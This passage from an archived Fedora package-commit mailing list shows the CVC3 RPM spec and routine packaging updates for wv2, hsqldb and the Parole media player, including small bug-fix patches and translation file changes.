originated at Stanford University with the SVC system.  In particular, it
builds on the code base of CVC Lite, its most recent predecessor.  Its high
level design follows that of the Sammy prover.

CVC3 works with a version of first-order logic with polymorphic types and has
a wide variety of features including:

 * several built-in base theories: rational and integer linear arithmetic,
   arrays, tuples, records, inductive data types, bit vectors, and equality
   over uninterpreted function symbols;
 * support for quantifiers;
 * an interactive text-based interface;
 * a rich C and C++ API for embedding in other systems;
 * proof and model generation abilities;
 * predicate subtyping;
 * essentially no limit on its use for research or commercial purposes (see
   license).

For example, if you run 'cvc3 +interactive' and submit:
  i, j: INT; ASSERT i = j + 1; QUERY i>j;
it will determine "Valid."  If you then ask:
  QUERY i<j; COUNTERMODEL;
it will determine "Invalid." and show an example demonstrating when the formula
is not true (e.g., i = 0 and j = -1).

%package devel
Group:          Development/Libraries
Summary:        Header files for development with CVC3
Requires:       %{name} = %{version}-%{release}

%description devel
Header files need to develop with CVC3.

%package doc
Group:          Documentation
Summary:        API documentation for CVC3
Requires:       %{name} = %{version}-%{release}

%description doc
API documentation for CVC3.

%package java
Group:          Development/Libraries/Java
Summary:        Java interface for CVC3
Requires:       %{name} = %{version}-%{release}, java, jpackage-utils

%description java
Java interface for CVC3.

%package emacs
Group:          Applications/Engineering
Summary:        Compiled Emacs mode for CVC3
Requires:       emacs(bin) >= %{emacs_version}
Requires:       %{name} = %{version}-%{release}

%description emacs
This package contains the byte compiled CVC3 mode for Emacs.

%package emacs-el
Group:          Applications/Engineering
Summary:        Elisp source files for the CVC3 Emacs mode
Requires:       %{name} = %{version}-%{release}

%description emacs-el
This package contains the source Elisp files for the CVC3 mode for Emacs.  You
do not need to install this package to run %{name}.  Install the %{name}-emacs
package to use %{name} with Emacs.

%package xemacs
Group:          Applications/Engineering
Summary:        Compiled XEmacs mode for CVC3
Requires:       xemacs(bin) >= %{xemacs_version}
Requires:       %{name} = %{version}-%{release}

%description xemacs
This package contains the byte compiled CVC3 mode for XEmacs.

%package xemacs-el
Group:          Applications/Engineering
Summary:        Elisp source files for the CVC3 XEmacs mode
Requires:       %{name} = %{version}-%{release}

%description xemacs-el
This package contains the source Elisp files for the CVC3 mode for XEmacs.  You
do not need to install this package to run %{name}.  Install the %{name}-xemacs
package to use %{name} with XEmacs.

%prep
%setup -q
%patch0 -p1
%patch1 -p1
%patch2 -p1
%patch3 -p1

# We can't use loadLibrary, since the JNI libaries are not in a standard place
sed -i \
 -e "s|loadLibrary(\"cvc3jni\")|load(\"%{_libdir}/%{name}/libcvc3jni.so\")|" \
 java/src/cvc3/Embedded.java

%build
%configure --with-build=optimized --enable-dynamic --enable-java \
  --with-java-home=/usr/lib/jvm/java
make %{?_smp_mflags}

# Build the documentation
cd doc
make
rm -f html/*.{map,md5}

%install
rm -rf %{buildroot}

mkdir -p %{buildroot}%{_libdir}/%{name}
%makeinstall javadir=%{buildroot}%{_libdir}/%{name}

# Byte compile the CVC3 mode file for Emacs
mkdir -p %{buildroot}%{_datadir}/emacs/site-lisp
cp -p emacs/cvc-mode.el %{buildroot}%{_datadir}/emacs/site-lisp
pushd %{buildroot}%{_datadir}/emacs/site-lisp
emacs --batch --no-site-file -f batch-byte-compile cvc-mode.el
popd

# Byte compile the CVC3 mode file for XEmacs
mkdir -p %{buildroot}%{_datadir}/xemacs/site-packages/lisp
cp -p emacs/cvc-mode.el %{buildroot}%{_datadir}/xemacs/site-packages/lisp
pushd %{buildroot}%{_datadir}/xemacs/site-packages/lisp
xemacs --batch --no-site-file -f batch-byte-compile cvc-mode.el
popd

# Add missing executable bits to the shared libraries
chmod a+x %{buildroot}%{_libdir}/*.so.*

# Move the JNI libraries to the right place
mv %{buildroot}%{_libdir}/libcvc3jni.* %{buildroot}%{_libdir}/%{name}

# FIXME: dot segfaults on building one inheritance graph, leaving a 0-byte file
badfile="doc/html/classHash_1_1hash__table__inherit__graph.png"
if [ -f "$badfile" -a ! -s "$badfile" ] ; then
  rm -f "$badfile"
fi

%check
LD_LIBRARY_PATH=`pwd`/lib make regressonly4

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc INSTALL LICENSE PEOPLE README VERSION
%{_bindir}/cvc3
%{_libdir}/libcvc3.so.*

%files devel
%defattr(-,root,root,-)
%{_includedir}/cvc3
%{_libdir}/*.so

%files doc
%defattr(-,root,root,-)
%doc doc/html

%files java
%defattr(-,root,root,-)
%{_libdir}/%{name}

%files emacs
%defattr(-,root,root,-)
%{_datadir}/emacs/site-lisp/*.elc

%files emacs-el
%defattr(-,root,root,-)
%{_datadir}/emacs/site-lisp/*.el

%files xemacs
%defattr(-,root,root,-)
%{_datadir}/xemacs/site-packages/lisp/*.elc

%files xemacs-el
%defattr(-,root,root,-)
%{_datadir}/xemacs/site-packages/lisp/*.el

%changelog
* Mon Oct 19 2009 Jerry James <loganjerry at gmail.com> - 2.1-2
- Fix problems found on review
- Enable the Java interface

* Thu Oct 15 2009 Jerry James <loganjerry at gmail.com> - 2.1-1
- Initial RPM


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cvc3/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:07:31 -0000	1.1
+++ .cvsignore	22 Oct 2009 16:27:53 -0000	1.2
@@ -0,0 +1 @@
+cvc3-2.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cvc3/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:07:31 -0000	1.1
+++ sources	22 Oct 2009 16:27:54 -0000	1.2
@@ -0,0 +1 @@
+d3756ab645f2e8d567217d8be16a4404  cvc3-2.1.tar.gz



From rdieter at fedoraproject.org  Thu Oct 22 16:30:58 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 22 Oct 2009 16:30:58 +0000 (UTC)
Subject: rpms/wv2/devel wv2.spec,1.21,1.22
Message-ID: <20091022163058.F269811C008C@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/wv2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27388

Modified Files:
	wv2.spec 
Log Message:
* Thu Oct 22 2009 Rex Dieter <rdieter at fedoraproject.org> - 1:0.4.1-3
- fix epoch-related deps



Index: wv2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/wv2/devel/wv2.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- wv2.spec	22 Oct 2009 15:46:13 -0000	1.21
+++ wv2.spec	22 Oct 2009 16:30:58 -0000	1.22
@@ -2,7 +2,7 @@
 Name:           wv2
 Epoch:          1
 Version:        0.4.1
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        A library which allows access to Microsoft Word files
 
 Group:          System Environment/Libraries
@@ -32,7 +32,7 @@ formats as well: Word 2 docs are convert
 %package devel
 Summary:        Development tools for programs which will use the wv2 library
 Group:          Development/Libraries
-Requires:       %{name} = %{version}-%{release}
+Requires:       %{name} = %{epoch}:%{version}-%{release}
 Requires:       libgsf-devel
 Requires:       glib2-devel
 Requires:       libxml2-devel
@@ -101,6 +101,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Thu Oct 22 2009 Rex Dieter <rdieter at fedoraproject.org> - 1:0.4.1-3
+- fix epoch-related deps
+
 * Thu Oct 22 2009 Rex Dieter <rdieter at fedoraproject.org> - 1:0.4.1-2
 - Epoch: 1
 



From jkeating at fedoraproject.org  Thu Oct 22 17:57:19 2009
From: jkeating at fedoraproject.org (Jesse Keating)
Date: Thu, 22 Oct 2009 17:57:19 +0000 (UTC)
Subject: rpms/hsqldb/F-12 hsqldb-1.8.0-autoincrement.patch, NONE,
	1.1 hsqldb-1.8.0-bitxor-bitor.patch, NONE, 1.1 hsqldb.spec, 1.45, 1.46
Message-ID: <20091022175719.9D90911C008C@cvs1.fedora.phx.redhat.com>

Author: jkeating

Update of /cvs/pkgs/rpms/hsqldb/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22901

Modified Files:
	hsqldb.spec 
Added Files:
	hsqldb-1.8.0-autoincrement.patch 
	hsqldb-1.8.0-bitxor-bitor.patch 
Log Message:
* Thu Oct 22 2009 Jesse Keating <jkeating at redhat.com> - 1.8.0.10-4
- Add patches from Caolan for #523110 and #517839


hsqldb-1.8.0-autoincrement.patch:
 Table.java      |    4 ++--
 TableWorks.java |    3 ++-
 2 files changed, 4 insertions(+), 3 deletions(-)

--- NEW FILE hsqldb-1.8.0-autoincrement.patch ---
--- misc/hsqldb/src/org/hsqldb/Table.java	2007-10-19 23:59:07.000000000 +0200
+++ misc/build/hsqldb/src/org/hsqldb/Table.java	2009-09-11 13:45:42.939231519 +0200
@@ -149,10 +149,10 @@
     Constraint[]      constraintList;                 // constrainst for the table
     HsqlArrayList[]   triggerLists;                   // array of trigger lists
     private int[]     colTypes;                       // fredt - types of columns
-    private int[]     colSizes;                       // fredt - copy of SIZE values for columns
+    int[]     	      colSizes;                       // fredt - copy of SIZE values for columns
     private int[]     colScales;                      // fredt - copy of SCALE values for columns
     private boolean[] colNullable;                    // fredt - modified copy of isNullable() values
-    private Expression[] colDefaults;                 // fredt - expressions of DEFAULT values
+    Expression[] 	  colDefaults;                 // fredt - expressions of DEFAULT values
     private int[]        defaultColumnMap;            // fred - holding 0,1,2,3,...
     private boolean      hasDefaultValues;            //fredt - shortcut for above
     boolean              sqlEnforceSize;              // inherited from the database -
--- misc/hsqldb/src/org/hsqldb/TableWorks.java	2007-01-14 06:48:16.000000000 +0100
+++ misc/build/hsqldb/src/org/hsqldb/TableWorks.java	2009-09-11 13:47:50.328667463 +0200
@@ -670,7 +670,8 @@
             // default expressions can change
             oldCol.setType(newCol);
             oldCol.setDefaultExpression(newCol.getDefaultExpression());
-            table.setColumnTypeVars(colIndex);
+            table.colSizes[colIndex]    = oldCol.getSize();
+            table.colDefaults[colIndex] = oldCol.getDefaultExpression();
             table.resetDefaultsFlag();
 
             return;

hsqldb-1.8.0-bitxor-bitor.patch:
 Library.java |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE hsqldb-1.8.0-bitxor-bitor.patch ---
# This patch file was generated by NetBeans IDE
# This patch can be applied using context Tools: Apply Diff Patch action on respective folder.
# It uses platform neutral UTF-8 encoding.
# Above lines and this line are ignored by the patching process.
--- /home/hardydrew/ooo_source/OOO310_m15/hsqldb/download/hsqldb/Library.java
+++ /home/hardydrew/ooo_source/OOO310_m15/hsqldb/download/hsqldb/src/org/hsqldb/Library.java
@@ -1957,7 +1957,7 @@
         functionMap.put("bitand", bitand);
         functionMap.put("bitlength", bitLength);
         functionMap.put("bitor", bitor);
-        functionMap.put("bitxor", bitor);
+        functionMap.put("bitxor", bitxor);
         functionMap.put("character", character);
         functionMap.put("concat", concat);
         functionMap.put("cot", cot);


Index: hsqldb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hsqldb/F-12/hsqldb.spec,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- hsqldb.spec	25 Jul 2009 02:13:39 -0000	1.45
+++ hsqldb.spec	22 Oct 2009 17:57:19 -0000	1.46
@@ -38,7 +38,7 @@
 
 Name:		hsqldb
 Version:	1.8.0.10
-Release:	3%{?dist}
+Release:	4%{?dist}
 Epoch:		1
 Summary:	Hsqldb Database Engine
 License:	BSD
@@ -52,6 +52,8 @@ Source4:    %{name}-1.8.0-standard-sqlto
 Patch0:     %{name}-1.8.0-scripts.patch
 Patch1:     hsqldb-tmp.patch
 Patch2:     %{name}-1.8.0-specify-su-shell.patch
+Patch3:     %{name}-1.8.0-bitxor-bitor.patch
+Patch4:     %{name}-1.8.0-autoincrement.patch
 Requires:   servletapi5
 Requires(post):   /bin/rm,/bin/ln
 Requires(post):   servletapi5
@@ -134,6 +136,8 @@ chmod -R go=u-w *
 %patch0
 %patch1 -p1
 %patch2
+%patch3 -p8
+%patch4 -p3
 
 %build
 export CLASSPATH=$(build-classpath \
@@ -270,6 +274,9 @@ fi
 %{_datadir}/%{name}
 
 %changelog
+* Thu Oct 22 2009 Jesse Keating <jkeating at redhat.com> - 1.8.0.10-4
+- Add patches from Caolan for #523110 and #517839
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:1.8.0.10-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From cwickert at fedoraproject.org  Thu Oct 22 17:57:44 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Thu, 22 Oct 2009 17:57:44 +0000 (UTC)
Subject: rpms/parole/devel parole-0.1.90-fix-untranslatable-strings.patch,
	NONE, 1.1 parole-0.1.90-set-correct-gettext-domain.patch, NONE,
	1.1 parole-0.1.90-translations.patch, NONE, 1.1 parole.spec, 1.1,
	1.2 parole-0.1.90-include-french-translation.patch, 1.1,
	NONE parole-0.1.90-include-galician-translation.patch, 1.1,
	NONE parole-0.1.90-include-german-translation.patch, 1.1,
	NONE parole-0.1.90-update-asturian-translation.patch, 1.1,
	NONE parole-0.1.90-update-japanese-translation.patch, 1.1, NONE
Message-ID: <20091022175744.5686011C008C@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/parole/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23050

Modified Files:
	parole.spec 
Added Files:
	parole-0.1.90-fix-untranslatable-strings.patch 
	parole-0.1.90-set-correct-gettext-domain.patch 
	parole-0.1.90-translations.patch 
Removed Files:
	parole-0.1.90-include-french-translation.patch 
	parole-0.1.90-include-galician-translation.patch 
	parole-0.1.90-include-german-translation.patch 
	parole-0.1.90-update-asturian-translation.patch 
	parole-0.1.90-update-japanese-translation.patch 
Log Message:
* Thu Oct 08 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.90-3
- Set locale before loading the GtkBuilder interface definition for dialogs
- Translation updates


parole-0.1.90-fix-untranslatable-strings.patch:
 data/interfaces/parole.ui  |    2 +-
 data/interfaces/plugins.ui |    4 ++--
 parole/parole-statusbar.c  |    2 +-
 3 files changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE parole-0.1.90-fix-untranslatable-strings.patch ---
>From 795a28c9be6e6c3556a10f0064c75de639fedf7f Mon Sep 17 00:00:00 2001
From: Ali Abdallah <ali at ali-xfce.org>
Date: Tue, 06 Oct 2009 15:54:56 +0000
Subject: Fix some untranslatable strings

---
diff --git a/data/interfaces/parole.ui b/data/interfaces/parole.ui
index 6fe1f24..6137bbf 100644
--- a/data/interfaces/parole.ui
+++ b/data/interfaces/parole.ui
@@ -38,7 +38,7 @@
                     </child>
                     <child>
                       <object class="GtkImageMenuItem" id="menu-open-location">
-                        <property name="label">_Open location</property>
+                        <property name="label" translatable="yes">_Open location</property>
                         <property name="visible">True</property>
                         <property name="use_underline">True</property>
                         <property name="image">image5</property>
diff --git a/data/interfaces/plugins.ui b/data/interfaces/plugins.ui
index 3253620..70df469 100644
--- a/data/interfaces/plugins.ui
+++ b/data/interfaces/plugins.ui
@@ -50,7 +50,7 @@
                     <child>
                       <object class="GtkTreeViewColumn" id="treeviewcolumn1">
                         <property name="resizable">True</property>
-                        <property name="title">Enabled</property>
+                        <property name="title" translatable="yes">Enabled</property>
                         <property name="clickable">True</property>
                         <child>
                           <object class="GtkCellRendererToggle" id="cellrenderertoggle">
@@ -64,7 +64,7 @@
                     </child>
                     <child>
                       <object class="GtkTreeViewColumn" id="treeviewcolumn2">
-                        <property name="title">Plugin</property>
+                        <property name="title" translatable="yes">Plugin</property>
                         <child>
                           <object class="GtkCellRendererText" id="cellrenderertext1"/>
                           <attributes>
diff --git a/parole/parole-statusbar.c b/parole/parole-statusbar.c
index b75cda5..9563b09 100644
--- a/parole/parole-statusbar.c
+++ b/parole/parole-statusbar.c
@@ -85,7 +85,7 @@ parole_statusbar_set_duration (ParoleStatusbar *bar, ParoleState state, gdouble
 	if ( bar->priv->duration != 0)
 	{
 	    text = g_strdup_printf ("%s %4.2f/%4.2f", 
-				    state == PAROLE_STATE_PAUSED ? _("Paused") : ("Playing"), position, bar->priv->duration);
+				    state == PAROLE_STATE_PAUSED ? _("Paused") : _("Playing"), position, bar->priv->duration);
 	}
 	if ( text )
 	{

parole-0.1.90-set-correct-gettext-domain.patch:
 parole-builder.c |   31 +++++++++++--------------------
 parole-builder.h |    3 ---
 2 files changed, 11 insertions(+), 23 deletions(-)

--- NEW FILE parole-0.1.90-set-correct-gettext-domain.patch ---
>From 80a358e16a7933529c70e5982bc7ad0774109580 Mon Sep 17 00:00:00 2001
From: Ali Abdallah <ali at ali-xfce.org>
Date: Wed, 21 Oct 2009 10:15:51 +0000
Subject: Set the locale before loading the GtkBuilder interface definition for the dialogs

---
diff --git a/parole/parole-builder.c b/parole/parole-builder.c
index 926144a..43179ea 100644
--- a/parole/parole-builder.c
+++ b/parole/parole-builder.c
@@ -26,6 +26,8 @@
 #include <stdlib.h>
 #include <string.h>
 
+#include <libxfce4util/libxfce4util.h>
+
 #include "interfaces/parole_ui.h"
 #include "parole-builder.h"
 
@@ -47,32 +49,21 @@ parole_builder_get_main_interface (void)
     return GTK_BUILDER (parole_builder_object);
 }
 
-GtkBuilder *parole_builder_new_from_file (const gchar *file)
-{
-    GtkBuilder *builder;
-    GError *error = NULL;
-
-    builder = gtk_builder_new ();
-    
-    gtk_builder_add_from_file (GTK_BUILDER (builder),
-			       file,
-			       &error);
-			       
-    if ( error )
-    {
-	g_critical ("%s", error->message);
-	g_error_free (error);
-    }
-    
-    return builder;
-}
-
 GtkBuilder *parole_builder_new_from_string (const gchar *ui, gsize length)
 {
     GError *error = NULL;
     GtkBuilder *builder;
     
     builder = gtk_builder_new ();
+
+    /*
+     * Set the locale before loading the GtkBuilder interface definition
+     * probably this will be fixed in libxfce4util's side so keep a version 
+     * check.
+     */
+#if LIBXFCE4UTIL_CHECK_VERSION (4, 6, 1)
+    xfce_textdomain (GETTEXT_PACKAGE, LOCALEDIR, "UTF-8");
+#endif
     
     gtk_builder_add_from_string (builder, ui, length, &error);
     
diff --git a/parole/parole-builder.h b/parole/parole-builder.h
index 4411f22..3f0cbf0 100644
--- a/parole/parole-builder.h
+++ b/parole/parole-builder.h
@@ -28,8 +28,6 @@ G_BEGIN_DECLS
 
 GtkBuilder       	       *parole_builder_get_main_interface       (void);
 
-GtkBuilder		       *parole_builder_new_from_file   		(const gchar *file);
-
 GtkBuilder		       *parole_builder_new_from_string 		(const gchar *ui,
 									 gsize length);
 
--
cgit v0.8.2.1

parole-0.1.90-translations.patch:
 LINGUAS |    2 
 ast.po  |  110 ++++-----
 ca.po   |  736 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 da.po   |  114 +++++----
 de.po   |  750 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 es.po   |  148 ++++++------
 fr.po   |  724 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 gl.po   |  720 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 id.po   |   23 +
 ja.po   |   60 +++--
 lv.po   |  731 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 nl.po   |  758 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 pt.po   |  758 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 ru.po   |  105 +++++---
 sk.po   |   59 ++--
 tr.po   |   23 +
 uk.po   |   23 +
 17 files changed, 5562 insertions(+), 282 deletions(-)

--- NEW FILE parole-0.1.90-translations.patch ---
diff -Nur parole-0.1.90.orig/po/ast.po parole-0.1.90/po/ast.po
--- parole-0.1.90.orig/po/ast.po	2009-10-06 12:11:39.000000000 +0200
+++ parole-0.1.90/po/ast.po	2009-10-22 19:41:13.000000000 +0200
@@ -7,8 +7,8 @@
 msgstr ""
 "Project-Id-Version: ast\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-10-06 10:11+0000\n"
-"PO-Revision-Date: 2009-09-03 13:51+0100\n"
+"POT-Creation-Date: 2009-10-14 19:53+0000\n"
+"PO-Revision-Date: 2009-10-20 22:22+0100\n"
 "Last-Translator: astur <malditoastur at gmail.com>\n"
 "Language-Team: Asturian <alministradores at softastur.org>\n"
 "MIME-Version: 1.0\n"
@@ -54,7 +54,8 @@
 msgid "Mute"
 msgstr "Silenciar"
 
-#: ../data/interfaces/parole.ui.h:10 ../parole/parole-player.c:1047
+#: ../data/interfaces/parole.ui.h:10
+#: ../parole/parole-player.c:1047
 #: ../parole/parole-disc-menu.c:113
 msgid "Next Chapter"
 msgstr "Siguiente Cap?tulu Chapter"
@@ -63,8 +64,9 @@
 msgid "None"
 msgstr "Deng?n"
 
-#: ../data/interfaces/parole.ui.h:12 ../data/desktop/parole.desktop.in.in.h:1
-#: ../parole/parole-player.c:234 ../parole/parole-about.c:51
+#: ../data/interfaces/parole.ui.h:12
+#: ../data/desktop/parole.desktop.in.in.h:1
+#: ../parole/parole-about.c:52
 #: ../plugins/window-title/window-title.c:40
 msgid "Parole Media Player"
 msgstr "Parole Media Player"
@@ -73,7 +75,8 @@
 msgid "Plugins"
 msgstr "Plugins"
 
-#: ../data/interfaces/parole.ui.h:14 ../parole/parole-player.c:1059
+#: ../data/interfaces/parole.ui.h:14
+#: ../parole/parole-player.c:1059
 #: ../parole/parole-disc-menu.c:114
 msgid "Previous Chapter"
 msgstr "Cap?tulu Previu"
@@ -119,6 +122,10 @@
 msgstr "_Media"
 
 #: ../data/interfaces/parole.ui.h:25
+msgid "_Open location"
+msgstr "_Abrir llugar..."
+
+#: ../data/interfaces/parole.ui.h:26
 msgid "_View"
 msgstr "_Ver"
 
@@ -135,14 +142,20 @@
 msgstr "<b>Sitiu:</b>"
 
 #: ../data/interfaces/plugins.ui.h:4
-#, fuzzy
-msgid "Media Player plugins"
-msgstr "Axustes del Reproductor de Medios"
+msgid "Enabled"
+msgstr "Activ?u"
 
 #: ../data/interfaces/plugins.ui.h:5
-#, fuzzy
+msgid "Media Player plugins"
+msgstr "Plugins del Reproductor de Medios"
+
+#: ../data/interfaces/plugins.ui.h:6
 msgid "Parole Plugins"
-msgstr "Preferencies de Complementos de Parole"
+msgstr "Plugins de Parole"
+
+#: ../data/interfaces/plugins.ui.h:7
+msgid "Plugin"
+msgstr "Plugin"
 
 #: ../data/interfaces/parole-settings.ui.h:1
 msgid "<b>Audio</b>"
@@ -239,42 +252,39 @@
 
 #: ../parole/main.c:185
 msgid "Play or pause if already playing"
-msgstr ""
+msgstr "Reproducir o posar"
 
 #: ../parole/main.c:186
-#, fuzzy
 msgid "Stop playing"
-msgstr "Amosar llista de reproducci?n"
+msgstr "Detener reproducci?n"
 
 #: ../parole/main.c:187
-#, fuzzy
 msgid "Next track"
 msgstr "Siguiente pista"
 
 #: ../parole/main.c:188
-#, fuzzy
 msgid "Previous track"
 msgstr "Pista previa"
 
 #: ../parole/main.c:189
 msgid "Seek forward"
-msgstr ""
+msgstr "Guetar haza alantre"
 
 #: ../parole/main.c:190
 msgid "Seek Backward"
-msgstr ""
+msgstr "Guetar haza atr?s"
 
 #: ../parole/main.c:191
 msgid "Raise volume"
-msgstr ""
+msgstr "Xubir el volume"
 
 #: ../parole/main.c:192
 msgid "Lower volume"
-msgstr ""
+msgstr "Menor volume"
 
 #: ../parole/main.c:193
 msgid "Mute volume"
-msgstr ""
+msgstr "Silenciar"
 
 #: ../parole/main.c:194
 msgid "Version information"
@@ -284,27 +294,20 @@
 msgid "Media to play"
 msgstr "Mediu a reproducir"
 
-#: ../parole/main.c:231
+#: ../parole/main.c:233
 #, c-format
 msgid "Parole is already running, use -i to open a new instance\n"
 msgstr "Parole y? ta execut?ndose, use -i p'abrir una nueva instancia\n"
 
 #: ../parole/parole-gst.c:1289
-msgid ""
-"Unable to load playbin GStreamer plugin, check your GStreamer installation"
-msgstr ""
-"Nun pudo cargase'l complementu playbin GStreamer, comprebe la so instalaci?n "
-"de GStreamer"
+msgid "Unable to load playbin GStreamer plugin, check your GStreamer installation"
+msgstr "Nun pudo cargase'l complementu playbin GStreamer, comprebe la so instalaci?n de GStreamer"
 
 #: ../parole/parole-gst.c:1305
-msgid ""
-"Unable to load video GStreamer plugin, check your GStreamer installation"
-msgstr ""
-"Nun pudo cargase'l complementu video GStreamer, comprebe la so instalaci?n "
-"de GStreamer"
+msgid "Unable to load video GStreamer plugin, check your GStreamer installation"
+msgstr "Nun pudo cargase'l complementu video GStreamer, comprebe la so instalaci?n de GStreamer"
 
 #: ../parole/parole-gst.c:1501
-#, fuzzy
 msgid "The stream is taking too much time to load"
 msgstr "El fluxu ta llevando enforma tiempu pa cargar"
 
@@ -330,11 +333,10 @@
 
 #: ../parole/parole-medialist.c:454
 msgid "Unknown playlist format, Please select a support playlist format"
-msgstr ""
-"Formatu de llista desconoc?u, por favor esbille una llista con formatu "
-"sofit?u t?unicamente"
+msgstr "Formatu de llista desconoc?u, por favor esbille una llista con formatu sofit?u t?unicamente"
 
-#: ../parole/parole-medialist.c:520 ../parole/parole-player.c:1591
+#: ../parole/parole-medialist.c:520
+#: ../parole/parole-player.c:1591
 msgid "Playlist"
 msgstr "Llista de reproducci?n"
 
@@ -377,14 +379,16 @@
 #.
 #. * Next chapter menu item
 #.
-#: ../parole/parole-player.c:1047 ../parole/parole-disc-menu.c:122
+#: ../parole/parole-player.c:1047
+#: ../parole/parole-disc-menu.c:122
 msgid "Next Track"
 msgstr "Siguiente pista"
 
 #.
 #. * Previous chapter menu item
 #.
-#: ../parole/parole-player.c:1059 ../parole/parole-disc-menu.c:123
+#: ../parole/parole-player.c:1059
+#: ../parole/parole-disc-menu.c:123
 msgid "Previous Track"
 msgstr "Pista previa"
[...6621 lines suppressed...]
 msgid "Clear history"
@@ -617,12 +611,12 @@
 #: ../parole/parole-disc-menu.c:194
 #, c-format
 msgid "Track %i"
-msgstr ""
+msgstr "Skladba %i"
 
 #: ../parole/parole-plugins-manager.c:227
 #: ../parole/parole-plugins-manager.c:285
 msgid "Visit Website"
-msgstr ""
+msgstr "Nav?t?vi? webov? str?nku"
 
 #: ../plugins/properties/stream-properties.c:121
 #: ../plugins/properties/stream-properties.c:122
@@ -649,7 +643,7 @@
 
 #: ../plugins/properties/stream-properties.c:307
 msgid "General"
-msgstr ""
+msgstr "V?eobcen?"
 
 #: ../plugins/properties/stream-properties.c:354
 msgid "Stream doesn't support tags changes"
@@ -679,7 +673,7 @@
 
 #: ../plugins/tray/tray-icon.c:373
 msgid "Tray icon plugin"
-msgstr ""
+msgstr "Modul ikony v oznamovacej oblasti"
 
 #: ../plugins/tray/tray-icon.c:383
 msgid "Enable notification"
@@ -687,34 +681,33 @@
 
 #: ../plugins/tray/tray-icon.c:392
 msgid "Always minimize to tray when window is closed"
-msgstr ""
+msgstr "V?dy minimalizova? to oznamovacej oblasti, pri zavret? okna"
 
 #: ../plugins/tray/tray-icon.c:431
 msgid "Minimize to tray?"
-msgstr ""
+msgstr "Minimalizova? do oznamovacej oblasti?"
 
 #: ../plugins/tray/tray-icon.c:437
 msgid "Minimize to tray"
-msgstr ""
+msgstr "Minimalizova? do oznamovacej oblasti"
 
 #: ../plugins/tray/tray-icon.c:453
 msgid "Are you sure you want to quit Parole"
-msgstr ""
+msgstr "Naozaj chcete ukon?i? Parole"
 
 #: ../plugins/tray/tray-icon.c:457
-#, fuzzy
 msgid "Remember my choice"
-msgstr "Zapam?ta? zoznam skladieb"
+msgstr "Zapam?ta? m?j v?ber"
 
 #. Construct function
 #: ../plugins/tray/tray-icon.c:544
 msgid "Tray icon"
-msgstr ""
+msgstr "Ikona v oznamovacej oblasti"
 
 #. Title
 #: ../plugins/tray/tray-icon.c:545
 msgid "Show icon in the system tray"
-msgstr ""
+msgstr "Zobrazovanie ikony v oznamovacej oblasti"
 
 #. Construct function
 #: ../plugins/window-title/window-title.c:102
diff -Nur parole-0.1.90.orig/po/tr.po parole-0.1.90/po/tr.po
--- parole-0.1.90.orig/po/tr.po	2009-10-06 12:11:40.000000000 +0200
+++ parole-0.1.90/po/tr.po	2009-10-22 19:41:13.000000000 +0200
@@ -2,7 +2,7 @@
 msgstr ""
 "Project-Id-Version: Parole Media Player Turkish Translation\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-10-06 10:11+0000\n"
+"POT-Creation-Date: 2009-10-06 15:54+0000\n"
 "PO-Revision-Date: \n"
 "Last-Translator: Samed Beyribey <ras0ir at eventualis.org>\n"
 "Language-Team: Xfce-TR <xfce-tr at googlegroups.com>\n"
@@ -111,6 +111,11 @@
 msgstr "_Ortam"
 
 #: ../data/interfaces/parole.ui.h:25
+#, fuzzy
+msgid "_Open location"
+msgstr "Konum a?..."
+
+#: ../data/interfaces/parole.ui.h:26
 msgid "_View"
 msgstr "_G?r?n?m"
 
@@ -127,15 +132,24 @@
 msgstr "<b>Site:</b>"
 
 #: ../data/interfaces/plugins.ui.h:4
+msgid "Enabled"
+msgstr ""
+
+#: ../data/interfaces/plugins.ui.h:5
 #, fuzzy
 msgid "Media Player plugins"
 msgstr "Ortam Oynat?c? Ayarlar?"
 
-#: ../data/interfaces/plugins.ui.h:5
+#: ../data/interfaces/plugins.ui.h:6
 #, fuzzy
 msgid "Parole Plugins"
 msgstr "Parole Eklenti Se?enekleri"
 
+#: ../data/interfaces/plugins.ui.h:7
+#, fuzzy
+msgid "Plugin"
+msgstr "Eklentiler"
+
 #: ../data/interfaces/parole-settings.ui.h:1
 msgid "<b>Audio</b>"
 msgstr "<b>Ses</b>"
